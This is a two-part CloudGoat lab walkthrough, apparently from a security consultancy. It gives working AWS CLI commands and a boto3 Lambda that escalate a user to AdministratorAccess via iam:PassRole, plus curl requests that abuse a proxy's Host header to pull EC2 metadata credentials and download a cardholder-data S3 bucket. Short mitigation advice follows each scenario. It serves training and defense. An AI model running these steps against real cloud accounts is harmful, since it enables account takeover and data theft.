AWS CloudGoat and mitigation strategies: Part 2

Scenario 2: Privilege escalation via AWS Lambda (lambda_privesc)

Starting as the IAM user “Chris”, the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation to obtain full admin access.

To deploy the scenario, type the following:

# ./ create lambda_privesc

Once successfully deployed, the user credentials for the scenario should be printed out. This time the user is called `chris`.

Once again, we use `aws configure –profile chris` to save this set of credentials to a profile. For the rest of the scenario, we will assume the user chris by using his set of credentials.

To destroy the environment after you are done with scenario (IMPORTANT)

# ./ destroy lambda_privesc


To start off with the attack, we check the current user’s ARN:# aws sts get-caller-identity --profile chris

The full username is “chris-cgixxx”

Next, using the user’s ARN we get the user policies attached to chris.
Take note of the policy iam list-attached-user-policies --user-name chris-cgixxx --profile chris

Now we try to get the policy version-ids using the policy ARN that we obtained iam list-policy-versions --policy-arn arn:aws:iam::xxx:policy/cg-chris-policy-cgid4iqt13fxxk --profile chrisThere is only 1 version-id: v1

Time to view what kind of permissions user chris has using the policy version-id and policy-arn: aws iam get-policy-version --policy-arn arn:aws:iam::xxx:policy/cg-chris-policy-cgid4iqt13fxxk --profile chris --version-id v1The result shows that user chris is able to assume some roles with the “sts:assumeRole” action.

With the “sts:assumeRole” permission, it makes sense to check for possible roles that the attacker can now assume.# aws iam list-roles --profile chrisThere are two interesting IAM roles: cg-debug-role and cg-lambdaManager-manager-role
Take note of both “RoleName” rows in this screenshot

Based on the attached policies, the debug IAM role has a AdminstratorAccess policy attached to iam list-attached-role-policies --role-name cg-debug-role-cxx --profile chris

The lambdaManager IAM role on the other hand, has full lambda access and pass role permissions. This is important because lambdaManager IAM role can pass a role to other iam list-attached-role-policies --role-name cg-lambdaManager-role-cxx --profile chris

aws iam get-policy-version --policy-arn arn:aws:iam::xxx:policy/cg-lambdaManager-policy-cxx --profile chris --version-id v1Note: We used the “aws iam list-policy-versions” command to get the only version-id “v1”

Next step is to try to assume the debug role, (since it has administrator level privileges) but user chris is not authorized to do sts assume-role --role-arn arn:aws:iam::xxx:role/cg-debug-role-cxx --role-session-name debug-role --profile chris

However chris is authorized to assume the lambdaManager role.
Since lambdaManager role has the “iam:PassRole” privilege, the attacker can leverage the lambdaManager role to pass the debug role back to user sts assume-role --role-arn arn:aws:iam::658975544954:role/cg-lambdaManager-role-cgid4iqt13fxxk --role-session-name lambdaManager-role --profile chris

Next we used “aws configure –profile lambdaManager” to add the access key and secret that we obtained after assuming lambdaManager role.
However this a temporary set of credentials. In order to use this set of credentials, we will need to add the session token to the credentials file. To do that:
# aws configure --profile lambdaManager
# vi ~/.aws/credentials
Since we have already configured using “aws configure” command, the aws_access_key_id, aws_secret_access_key should already been filled.
Add aws_session_token for lambdaManager and set it as the “SessionToken” as seen in the previous screenshot.
Your credentials file should look like this:

Next, we will create a lambda function script that will attach the administrator policy to the IAM user “Chris”# vi

Copy and paste the following lambda function code in, update the user name and save it:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(UserName = 'chris-cxx', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
return response

Zip up the .py file.# apk add zip #Install zip package if you are running on a docker container
# zip
# aws lambda create-function --function-name lambda_function --runtime python3.6 --role arn:aws:iam::xxx:role/cg-debug-role-cxx --handler lambda_function.lambda_handler --zip-file fileb:// --profile lambdaManager --region us-east-1
If the create-function command worked, you should see something like this:

Next, invoke the lambda function.
If it works correctly, you should not see any error.
aws lambda invoke --function-name lambda_function out --log-type Tail --query 'LogResult' --output text --profile lambdaManager --region us-east-1 | base64 -d

Final result:
If the lambda function works, we can print out the attached policies and see if the AdministratorAccess policy is indeed attached.# aws iam list-attached-user-policies --user-name chris-cgid4iqt13fxxk --profile chrisThis is what you should see if AdministratorAccess has been granted successfully.

This scenario is similar with scenario 1 in Part 1 of this article in that excessive privileges has been given but this time to the user and the lamdaManager role as well.
The user this time is able to assume an IAM role, and the assumed role (lambdaManager role) is able to pass another higher privileged role (debug role) to other users, resulting in a privilege escalation.

Perform regular user/role profiling and audits of any IAM policies and roles defined within the cloud service environments and apply the principle of least privilege. You can also use CloudTrail management logs to monitor configuration changes. Also available are 3rd party solutions that scans your cloud configurations regularly.

Scenario 3: Misconfigured EC2 Reverse Proxy to S3 Breach (cloud_breach_s3)

Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket.

To deploy the scenario:# ./ create cloud_breach_s3

Once successfully deployed, Cloudgoat provides us with just a EC2 IP address.

To destroy the environment after you are done with the scenario (IMPORTANT)# ./ destroy cloud_breach_s3

Simply using curl to do a HTTP request to the EC2 server reveals that it’s some kind of proxy server which forwards request to the EC2 metadata service.

The EC2 metadata service is a HTTP service that is always available to the EC2 instance via the link local IP address ( More info here:
Using the info from the EC2 server, we use the metadata service IP in the “Host” header.# curl -H 'Host:'
Looks like we can really query the EC2 metadata service:

The EC2 metadata service can leak lots of information on the EC2 instance. Much more info can be found here: Link.
One of the data we can retrieve from the EC2 metadata service is the IAM role that is being used:# curl -s -H 'Host:'In this case its: cg-bank-WAF-Role-cxxx

Continuing the query, we can retrieve more information on the IAM role.# curl -s -H 'Host:'The CURL command returns the Access Key ID, Secret Access Key, and Session Token of the IAM Instance Profile attached to the EC2 instance.

These are temporary credentials for the attached EC2 instance profile.
We can use following commands below to add the credentials to our AWS CLI.
After adding the credentials, edit and update the credential file with the aws_session_token using the “Token” field in the above screenshot. (similar to Scenario 2).

# aws s3 ls --profile banking-waf
# vi ~/.aws/credentials

However the current role did not have permissions to list the available privileges:

We can however, use a bruteforce script (GitHub link: to attempt and list the privileges this current role can access:

Listing S3 buckets using leaked IAM EC2 instance profile credentials:
aws s3 ls --profile banking-waf

Final result:
# ​aws s3 sync s3://cg-cardholder-data-bucket-cxxx ./cardholder-data --profile banking-wafThis shows that the attacker has found many files containing sensitive information inside the S3 bucket, and is able to download them.

As seen above, the main vulnerability lies in the misconfigured reverse-proxy server.
When a HTTP request is made to the reverse proxy server, it reads the host header and decides where to forward the request.
The attacker can manipulate this behaviour and manipulate the header to ask it to fetch data on other servers, notably in this case the EC2 Metadata service.
This leak does allow the attacker to retrieve IAM instance profile credentials and retrieve sensitive data.

First of all, it is a bad idea to use any of the user controlled parameters at all; we want to avoid using any user controlled parameters at all.

Secondly, it is important for reverse proxy configurations to be regularly reviewed, to ensure that rewrite rules cannot be used to access internal systems and sensitive data.

In this case, the EC2 metadata service may not be known to novice users of AWS, hence it is important to have a qualified consultant for these kind of gotchas.

We have reached the end of Part 2. If you find this helpful, please check out other parts of this article.

We also offer a Cloud Security Assessment Program (CSAP) for both AWS and Azure Public cloud. These programs are aimed at finding vulnerabilities and misconfigurations such as those in the Cloudgoat Scenarios.
Click HERE for more information